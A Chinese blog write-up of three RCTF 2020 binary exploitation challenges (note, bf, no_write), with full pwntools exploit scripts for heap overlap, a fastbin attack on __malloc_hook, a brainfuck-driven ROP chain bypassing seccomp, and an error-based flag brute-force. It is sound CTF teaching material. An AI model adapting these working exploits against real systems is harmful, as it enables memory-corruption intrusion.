博客长草严重,上半年摸鱼太久。最近趁着有空开始复现之前的一些题目,这次做了2020RCTF的几道pwn题,本来还想着把MIPS那道题做出来再发,结果发现MIPS的调试还有很多问题,所以就先发常规一点的题。
note 最经典的菜单堆题,还是note管理系统。64位程序,保护全开。主要功能有new,sell,show,edit,经典的增删查改,除了基本功能之外,还有两个额外的功能,一个是super note
,一个是越界写数据但是只能操作一次。
这个题的super note
是个幌子,最后完全没有用到。它的数据结构是三个部分组成,开头是一个指针指向我们申请的message区域,第二块是size,表示message的大小,第三块是表示money。
1 2 3 4 5 6 7 8 9 10 +---------------+----------->+-------------+ | ptr | | | | | | message | +---------------+ | | | size | +-------------+ | | +---------------+ | money | | | +---------------+
绕过money的限制 这里利用了它的index可以为负数的问题,我们可以向前修改数据,并且恰巧在index=-5时ptr的位置处有一个指针,它指向自己地址,同时在它的后面有存储着money的变量地址。这样我们就可以编辑下标为-5的地方,输入我们的值把money变大绕过分配note的限制。
edit(-5,'a'*8 + p64(0xfffffffffffffff) + '\x01')
由于分配内存需要消耗size*857
的钱,出售只能得到size*64
的钱,所以这里还有另外一种绕过的方法,利用了寄存器溢出的问题,我们给一个很大的数,这个数n
能够满足n*857
溢出,n*64
不会溢出,这样我们在用money
比较n*857
就能通过,但是在出售的时候却没有溢出,这个数就会很大,出售得到的钱足够我们使用。
new(0, 21524788884141834) sell(0)
chunk overlap 因为我们有一次越界写的机会,所以能轻松的修改掉chunk的size区域实现overlap。
由于有tcache的存在,我们需要分配超过small bin
大小的chunk释放后才能进入unsorted bin
。我们在头部和尾部分配小chunk,头部chunk拿来溢出,尾部chunk为了避免和top chunk
合并。溢出修改size之后释放,就会进入unsorted bin
,它的fd
和bk
指针会指向main_arena
区域,随后我们分配它原始大小的chunk,这样剩下的部分会移动进overlap的chunk中,这个时候再使用show功能泄露地址,通过main_arena
我们可以计算出libc基地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 new(1 , 0x20 ) new(2 , 0x300 ) new(3 , 0x60 ) new(4 , 0x60 ) new(5 , 0x60 ) new(6 , 0x10 ) once(1 ,'a' *0x28 + p64(0x461 )) sell(2 ) new(2 , 0x300 ) show(3 ) leak_addr = u64(io.recvn(6 ).ljust(8 ,'\x00' ))
除了使用unsorted bin
来泄露地址之外,还可以使用large bin
的chunk来泄露地址。
fastbin attack 在知道libc基地址之后,我们剩下的工作就是向__malloc_hook
或者__free_hook
中写入one_gadget
。首先,我们新分配一个大小为0x60的note,这个的chunk会和原来的index=3的note重合,我们再释放index=3的note,为了让它进入fastbin
,我们必须要先把tcache
塞满7个。释放之后,我们拿新分配的note写入需要伪造的地址,这样我们再次分配两次,第二次就能拿到伪造地址的chunk。
这个伪造地址也是很讲究的,它的size区域必须要符合fastbin的检查,而为了方便我们一般会写__malloc_hook
之前偏移的一部分,通过偏移能够凑出size大小为0x7f
,同时我们还能覆盖__realloc_hook
。如果我们的one_gadget无法满足条件,那么我们可以在__realloc_hook
中写入one_gadget,__malloc_hook
中写入__libc_realloc
加上一定偏移。这个偏移是决定pop的数量,为了满足条件以此来调整栈的位置。
1 2 3 4 5 6 7 8 9 10 new(7 , 0x60 ) sell(3 ) edit(7 , p64(fake_addr)) new(8 , 0x60 ) new(9 , 0x60 ) edit(9 , 'a' *11 + p64(one_gadget) + p64(realloc_addr+8 )) new(3 , 0x20 )
总结 一道chunk overlap
+fastbin attack
的题目。里面通过调试学到了一个有趣的地方,calloc
在分配chunk的时候,不会从tcache中拿chunk,仔细想想calloc
在分配的时候会对内存做初始化操作,可能也是因为这个原因所以分配tcache缓存的意义不大。(纯属推测)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 from pwn import *io = process('./note' ) context(log_level='debug' ) libc = ELF('./libc.so.6' ) def new (index, size) : io.recvuntil('Choice: ' ) io.send('1' ) io.recvuntil('Index: ' ) io.send(str(index)) io.recvuntil('Size: ' ) io.send(str(size)) def sell (index) : io.recvuntil('Choice: ' ) io.send('2' ) io.recvuntil('Index: ' ) io.send(str(index)) def show (index) : io.recvuntil('Choice: ' ) io.send('3' ) io.recvuntil('Index: ' ) io.send(str(index)) def edit (index, message) : io.recvuntil('Choice: ' ) io.send('4' ) io.recvuntil('Index: ' ) io.send(str(index)) io.recvuntil('Message: ' ) io.sendline(message) def once (index, message) : io.recvuntil('Choice: ' ) io.send('7' ) io.recvuntil('Index: ' ) io.send(str(index)) io.recvuntil('Message: ' ) io.send(message) pause() new(0 , 21524788884141834 ) sell(0 ) pause() edit(-5 ,'a' *8 + p64(0xfffffffffffffff ) + '\x01' ) for i in range(7 ): new(i, 0x60 ) sell(i) new(1 , 0x20 ) new(2 , 0x300 ) new(3 , 0x60 ) new(4 , 0x60 ) new(5 , 0x60 ) new(6 , 0x10 ) pause() once(1 ,'a' *0x28 + p64(0x461 )) sell(2 ) new(2 , 0x300 ) show(3 ) leak_addr = u64(io.recvn(6 ).ljust(8 ,'\x00' )) log.info('leak_addr: ' + hex(leak_addr)) main_arena = leak_addr - 96 libc_addr = main_arena - 0x1e4c40 one_gadget = libc_addr + 0x106ef8 malloc_hook = libc_addr + libc.sym['__malloc_hook' ] realloc_addr = libc_addr + libc.sym['__libc_realloc' ] log.info('libc: ' + hex(libc_addr)) log.info('malloc_hook: ' + hex(malloc_hook)) fake_addr = malloc_hook - 0x23 new(7 , 0x60 ) sell(3 ) pause() edit(7 , p64(fake_addr)) new(8 , 0x60 ) new(9 , 0x60 ) edit(9 , 'a' *11 + p64(one_gadget) + p64(realloc_addr+8 )) pause() new(3 , 0x20 ) io.interactive()
bf 一道头秃的c++题目,仔细分析代码可以知道我们输入的code会被当做brainfuck代码解析,随后执行。漏洞点出现在移动指针的操作上。
这里退出的条件是指针大于字符串的地址,忽视了等于的时候,所以可以正好读取或者修改字符串的最低字节。而这个最低字节刚好是字符串结构的一个指针它指向存储数据的buf地址,当字符串的长度小于等于16时会把结构体放在栈上。
1 2 3 4 5 6 class string { char * ptr; size_t len; char buf[0x10 ]; ... }
我们要做的是覆盖这个指针让它指向其他位置,通过再次写入内容可以完成rop chain。在这之后的这道题限制了execve
,所以只能使用orw的方法获取flag。
泄露stack和libc地址 首先,我们需要泄露出指针的最低位,因为在最后返回的时候需要把指针最低位还原,不然析构函数会报错。
输入brainfuck的代码,[.>,]>.
,其中,
读入一字节写入到当前位置,[]
类似于循环如果当前位置的数据不为0则会从]
跳回[
,.
输出当前位置的数据,>
指针向前移动一个字节。总结来说,这段代码就是可以不断的读输入直到有\x00
出现循环退出,再移动一位输出数据。
输入这段代码之后,我们输入0x3ff的数据末尾跟着\x00
,这样就能移动0x400字节大小读取到string的最低字节。在获得最低字节后会判断这个是否符合我们攻击的要求,因为最低字节过大会让后面写入的rop chain超过可控范围。
1 2 3 4 5 6 7 8 9 p.recvuntil("enter your code:\n" ) p.sendline(",[.>,]>." ) p.send("B" *0x3ff +'\x00' ) p.recvuntil("running....\n" ) p.recvuntil("B" *0x3ff ) low_bit = ord(p.recv(1 )) info('low_bit: ' + hex(low_bit)) if low_bit + 0x70 >= 0x100 : sys.exit(0 )
有了合适的最低字节之后,我们查看栈上有没有可以利用到的数据。
在地址0x7ffd464a22d0
后面偏移0x20的位置处能看到一个和栈相关的地址,泄露出来我们就能获得栈地址,再往后面看到返回地址处是libc相关的,所以我们再次泄露出返回地址就能得到libc的基地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 p.recvuntil("enter your code:\n" ) p.sendline(",[>,]>," ) p.recvuntil("running....\n" ) p.send("B" *0x3ff +'\x00' ) p.send(chr(low_bit+0x20 )) p.recvuntil("your code: " ) stack = u64(p.recvuntil("\n" ,drop=True ).ljust(8 ,"\x00" )) - 0xd8 info("stack : " + hex(stack)) p.recvuntil("continue?\n" ) p.send('y' ) p.recvuntil("enter your code:\n" ) p.sendline(",[>,]>," ) p.recvuntil("running....\n" ) p.send("B" *0x3ff +'\x00' ) p.send(chr(low_bit+0x38 )) p.recvuntil("your code: " ) libc.address = u64(p.recvuntil("\n" ,drop=True ).ljust(8 ,"\x00" )) - 0x21b97 info("libc : " + hex(libc.address)) p.recvuntil("continue?\n" ) p.send('y' )
构造ROP chain执行read 首先是找gadget,pop rdi
之类的还是很好找的,用工具一下就能出来,但是这个syscall; ret;
的gadget用工具没有找到,所以我在libc中开始人工查找,最后发现了get_uid
之类的函数,它的整体就只有三句汇编,最后两句就是我们想要的。这里就学到了一点,以后找syscall的gadget直接找get_uid
就好了。
然后是写入数据了,发现一个问题,那就是我们写入数据是利用的之前写brainfuck代码的功能,这个栈空间因为我们输入的代码字符串被破坏,而每次写入的15字节中的前8个字节会被覆盖成我们输入的brainfuck代码,所以这里采用每轮循环会重复写入一段数据来消除这种影响。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 def write_low_bit (low_bit,offset) : p.recvuntil("enter your code:\n" ) p.sendline(",[>,]>," ) p.recvuntil("running....\n" ) p.send("B" *0x3ff +'\x00' ) p.send(chr(low_bit+offset)) p.recvuntil("your code: " ) p.recvuntil("continue?\n" ) p.send('y' ) p.recvuntil("enter your code:\n" ) p.sendline("\x00" *0xf ) p.recvuntil("continue?\n" ) p.send('y' ) rop_chain = [ 0 ,0 ,p_rdi,0 ,p_rdx_rsi,0x100 ,stack,libc.symbols["read" ] ] rop_chain_len = len(rop_chain) for i in range(rop_chain_len-1 ,0 ,-1 ): write_low_bit(low_bit,0x57 -8 *(rop_chain_len-1 -i)) p.recvuntil("enter your code:\n" ) p.sendline('\x00' +p64(rop_chain[i-1 ])+p64(rop_chain[i])[:6 ]) p.recvuntil("continue?\n" ) p.send('y' )
这种输入刚好让rop chain能够覆盖到返回地址,在函数返回之后会读入orw的rop来绕过seccomp的限制。其中比较巧妙的是利用错位和\x00
来补位。
read读入orw获得flag 剩下的就是构造orw的rop来完成最后的利用,因为我们的上个rop的长度是0x30,而我们的stack是返回地址,所以我们的rop起点是stack+0x30,读入是从stack开始的,所以前面空出的0x30数据段可以填入/flag
。
需要记得在最后退出主函数之前,需要把字符串的指针地址复原。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 write_low_bit(low_bit,0 ) p.recvuntil("enter your code:\n" ) p.sendline('' ) p.recvuntil("continue?\n" ) p.send('n' ) payload = "/flag" .ljust(0x30 ,'\x00' ) payload += flat([ p_rax,2 ,p_rdi,stack,p_rdx_rsi,0 ,0 ,syscall_ret, p_rdi,3 ,p_rdx_rsi,0x80 ,stack+0x200 ,p_rax,0 ,syscall_ret, p_rax,1 ,p_rdi,1 ,syscall_ret ]) pause() p.send(payload.ljust(0x100 ,'\x00' ))
总结 整道题比较有趣的地方是那个如何控制好写入rop chain,使用到brainfuck代码来完成持续的写入。通过这道题也了解到C++中string的结构。这里给出官方的exp,完整exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 from pwn import *import syscontext.arch = 'amd64' context.log_level = 'debug' def write_low_bit (low_bit,offset) : p.recvuntil("enter your code:\n" ) p.sendline(",[>,]>," ) p.recvuntil("running....\n" ) p.send("B" *0x3ff +'\x00' ) p.send(chr(low_bit+offset)) p.recvuntil("your code: " ) p.recvuntil("continue?\n" ) p.send('y' ) p.recvuntil("enter your code:\n" ) p.sendline("\x00" *0xf ) p.recvuntil("continue?\n" ) p.send('y' ) def main (host,port=6002 ) : global p if host: p = remote(host,port) else : p = process("./bf" ) p.recvuntil("enter your code:\n" ) p.sendline(",[.>,]>." ) p.send("B" *0x3ff +'\x00' ) p.recvuntil("running....\n" ) p.recvuntil("B" *0x3ff ) low_bit = ord(p.recv(1 )) info('low_bit: ' + hex(low_bit)) if low_bit + 0x70 >= 0x100 : sys.exit(0 ) p.recvuntil("continue?\n" ) p.send('y' ) p.recvuntil("enter your code:\n" ) p.sendline(",[>,]>," ) p.recvuntil("running....\n" ) p.send("B" *0x3ff +'\x00' ) p.send(chr(low_bit+0x20 )) p.recvuntil("your code: " ) stack = u64(p.recvuntil("\n" ,drop=True ).ljust(8 ,"\x00" )) - 0xd8 info("stack : " + hex(stack)) p.recvuntil("continue?\n" ) p.send('y' ) p.recvuntil("enter your code:\n" ) p.sendline(",[>,]>," ) p.recvuntil("running....\n" ) p.send("B" *0x3ff +'\x00' ) p.send(chr(low_bit+0x38 )) p.recvuntil("your code: " ) libc.address = u64(p.recvuntil("\n" ,drop=True ).ljust(8 ,"\x00" )) - 0x21b97 info("libc : " + hex(libc.address)) p.recvuntil("continue?\n" ) p.send('y' ) p_rdi = 0x00000000000a17e0 + libc.address p_rdx_rsi = 0x00000000001306d9 + libc.address ret = 0x00000000000d3d8a + libc.address p_rax = 0x00000000000439c8 + libc.address syscall_ret = 0x00000000000d2975 + libc.address rop_chain = [ 0 ,0 ,p_rdi,0 ,p_rdx_rsi,0x100 ,stack,libc.symbols["read" ] ] rop_chain_len = len(rop_chain) for i in range(rop_chain_len-1 ,0 ,-1 ): write_low_bit(low_bit,0x57 -8 *(rop_chain_len-1 -i)) p.recvuntil("enter your code:\n" ) p.sendline('\x00' +p64(rop_chain[i-1 ])+p64(rop_chain[i])[:6 ]) p.recvuntil("continue?\n" ) p.send('y' ) pause() write_low_bit(low_bit,0 ) p.recvuntil("enter your code:\n" ) p.sendline('' ) p.recvuntil("continue?\n" ) p.send('n' ) payload = "/flag" .ljust(0x30 ,'\x00' ) payload += flat([ p_rax,2 ,p_rdi,stack,p_rdx_rsi,0 ,0 ,syscall_ret, p_rdi,3 ,p_rdx_rsi,0x80 ,stack+0x200 ,p_rax,0 ,syscall_ret, p_rax,1 ,p_rdi,1 ,syscall_ret ]) pause() p.send(payload.ljust(0x100 ,'\x00' )) p.interactive() if __name__ == "__main__" : libc = ELF("./libc.so.6" ,checksec=False ) main(args['REMOTE' ])
no_write 一道花式rop的栈溢出题目,在ida中看到有prctl,用工具查看它的seccomp设置。
发现只能使用open
和read
两个系统调用,又没有泄露函数。随后查看它的保护措施。
开启了full relro
不能使用ret2dl_reslove
的攻击方法,但是我们有open
和read
,是可以想方法open ./flag
,然后读入我们可控的数据段中。剩下的方法就是怎么把flag
泄露出来。
在看到的wp中有两种思路很类似SQL的盲注思想,一种是基于错误的盲注,在比较中构造一种情况,比较正确和比较错误其中的一种能够引发异常,通过判断异常来逐位爆破比较;另外一种是基于延时的盲注,还是类似的构造出二元情况,通过判断响应时间来逐位爆破比较。我这里使用基于错误的盲注来解决题目。
构造read读入rop chain 因为没有地址随机化,所以首先想到我们先构造read
读入数据到我们可控的地址上,然后转移栈帧执行我们放入的rop chain。这里的rop chain使用了csu_init
中的万能调用gadget,把写入数据放在0x601350
,方便后续利用,通过gadget也能同时控制rbp
,在末尾放置leave ret
开启栈转移操作,控制rip
指向我们的rop chain。
1 2 3 4 5 6 7 8 p = process('./no_write' ) pppppp_ret = 0x00000000040076A read_got = 0x000000000600FD8 leave_tet = 0x00000000040070B payload = "A" *0x18 +p64(pppppp_ret)+ret_csu(read_got,0 ,0x601350 ,0x400 ) payload += p64(0 )+p64(0x6013f8 )+p64(0 )*4 +p64(leave_tet) payload = payload.ljust(0x100 ,'\x00' ) p.send(payload)
利用__libc_start_main 我们的第二次输入需要使用__libc_start_main
调用read_n
函数,把函数地址pop进rdi
中,剩下的rsi=0x601350
和rdx=0x400
是可以直接沿用的值,调用__libc_start_main
可以让栈上出现libc相关的地址,这样再利用gadget修改这些地址就可以得到我们想要的内容。我们要一位一位的爆破,肯定需要用于比较的指令,随后要使用系统调用肯定需要syscall ret
,刚好在栈上残存了两个libc地址可以用。而怎么修改这两个地址?需要用到一个特殊的gadget。
1 2 3 .text:00000000004005E8 add [rbp-3Dh], ebx .text:00000000004005EB nop dword ptr [rax+rax+00h] .text:00000000004005F0 rep retn
这里的rbp
和ebx
是可以通过之前的csu_init
的gadget控制,所以我们可以用这个修改栈上的地址变成我们可以使用的gadget。
我这里用于比较的函数是strncmp中的__strncmp_sse42
,我们计算offset,让ebx
为负数就会变成减。同时这里是要不断调试栈帧的,前面有一定长度的填充,要让__libc_start_main
的结束返回地址放在0x601350
上,这样我们第三次输入才能直接覆盖返回地址进行rop。
1 2 3 4 5 6 7 call_libc_start_main = 0x000000000400544 readn = 0x0000000004006BF p_rdi = 0x0000000000400773 payload = "\x00" *(0x100 -0x50 ) payload += p64(p_rdi)+p64(readn)+p64(call_libc_start_main) payload = payload.ljust(0x400 ,'\x00' )
逐位爆破flag 在__libc_start_main
调用完之后,用gadget修改栈上的libc地址为我们想要的gadget,随后开始用这些gadget执行open和read flag文件的操作,需要注意的一点,由于open操作没有对应的got表,所以需要系统调用才能使用,我们可以先调用一次read函数读入两个字节,让rax=2
再用syscall ret
调用open打开flag文件。读入flag到某个地址中,再读入我们的输入到0x601fff
,这样比较的时候如果字符相同就会继续比较下一位,这样就溢出了程序可以控制的地址,引发错误,通过这种报错的方法一位一位爆破比较。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 offset = 0x267870 payload = p64(pppppp_ret)+p64((0x100000000 -offset)&0xffffffff ) payload += p64(0x601318 +0x3D )+p64(0 )*4 +p64(0x4005E8 ) offset = 0x31dcb3 payload += p64(pppppp_ret)+p64((0x100000000 -offset)&0xffffffff ) payload += p64(0x601310 +0x3D )+p64(0 )*4 +p64(0x4005E8 ) payload += p64(pppppp_ret)+ret_csu(read_got,0 ,0x601800 ,2 ) payload += p64(0 )*6 payload += p64(pppppp_ret)+ret_csu(0x601310 ,0x601350 +0x3f8 ,0 ,0 ) payload += p64(0 )*6 payload += p64(pppppp_ret)+ret_csu(read_got,3 ,0x601800 ,0x100 ) payload += p64(0 )*6 payload += p64(pppppp_ret)+ret_csu(read_got,0 ,0x601ff8 ,8 ) payload += p64(0 )*6 payload += p64(pppppp_ret)+ret_csu(0x601318 ,0x601800 +i,0x601fff ,2 ) payload += p64(0 )*6 payload += p64(p_rdi)+p64(0x601700 )+p64(p_rsi_r15)+p64(0x100 )+p64(0 )+p64(readn) payload = payload.ljust(0x3f8 ,'\x00' ) payload += "flag\x00\x00\x00\x00" p.send(payload) sleep(0.3 ) p.send("dd" +"d" *7 +j) sleep(0.5 ) p.recv(timeout=0.5 ) p.send("A" *0x100 ) p.close()
总结 同样是一道非常有趣的题目,学到pwn中的一些盲注思路,和SQL注入类似都有基于报错的和基于延时的方法。以及利用__libc_start_main
让libc地址出现在栈空间上,再利用gadget修改成我们想要的gadget完成整体的利用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 from pwn import *import stringcontext.arch='amd64' context.log_level = 'debug' def ret_csu (func,arg1=0 ,arg2=0 ,arg3=0 ) : payload = '' payload += p64(0 )+p64(1 )+p64(func) payload += p64(arg1)+p64(arg2)+p64(arg3)+p64(0x000000000400750 )+p64(0 ) return payload def main (host,port=2333 ) : charset = '}{_' +string.digits+string.letters flag = '' for i in range(0x30 ): for j in charset: try : p = process('./no_write' ) pppppp_ret = 0x00000000040076A read_got = 0x000000000600FD8 call_libc_start_main = 0x000000000400544 p_rdi = 0x0000000000400773 p_rsi_r15 = 0x0000000000400771 offset = 0x267870 readn = 0x0000000004006BF leave_tet = 0x00000000040070B payload = "A" *0x18 +p64(pppppp_ret)+ret_csu(read_got,0 ,0x601350 ,0x400 ) payload += p64(0 )+p64(0x6013f8 )+p64(0 )*4 +p64(leave_tet) payload = payload.ljust(0x100 ,'\x00' ) p.send(payload) sleep(0.3 ) payload = "\x00" *(0x100 -0x50 ) payload += p64(p_rdi)+p64(readn)+p64(call_libc_start_main) payload = payload.ljust(0x400 ,'\x00' ) p.send(payload) sleep(0.3 ) payload = p64(pppppp_ret)+p64((0x100000000 -offset)&0xffffffff ) payload += p64(0x601318 +0x3D )+p64(0 )*4 +p64(0x4005E8 ) offset = 0x31dcb3 payload += p64(pppppp_ret)+p64((0x100000000 -offset)&0xffffffff ) payload += p64(0x601310 +0x3D )+p64(0 )*4 +p64(0x4005E8 ) payload += p64(pppppp_ret)+ret_csu(read_got,0 ,0x601800 ,2 ) payload += p64(0 )*6 payload += p64(pppppp_ret)+ret_csu(0x601310 ,0x601350 +0x3f8 ,0 ,0 ) payload += p64(0 )*6 payload += p64(pppppp_ret)+ret_csu(read_got,3 ,0x601800 ,0x100 ) payload += p64(0 )*6 payload += p64(pppppp_ret)+ret_csu(read_got,0 ,0x601ff8 ,8 ) payload += p64(0 )*6 payload += p64(pppppp_ret)+ret_csu(0x601318 ,0x601800 +i,0x601fff ,2 ) payload += p64(0 )*6 payload += p64(p_rdi)+p64(0x601700 )+p64(p_rsi_r15)+p64(0x100 )+p64(0 )+p64(readn) payload = payload.ljust(0x3f8 ,'\x00' ) payload += "flag\x00\x00\x00\x00" p.send(payload) sleep(0.3 ) p.send("dd" +"d" *7 +j) sleep(0.5 ) p.recv(timeout=0.5 ) p.send("A" *0x100 ) p.close() except EOFError: flag += j info(flag) print(1 ) if (j == '}' ): exit() p.close() break if __name__ == "__main__" : libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ,checksec=False ) main(args["REMOTE" ])
Reference https://blog.rois.io/2020/rctf-2020-official-writeup/
https://www.jianshu.com/p/be6bbc251919
https://mp.weixin.qq.com/s/Ov5PXoh-gHYYrOCA9TNWGw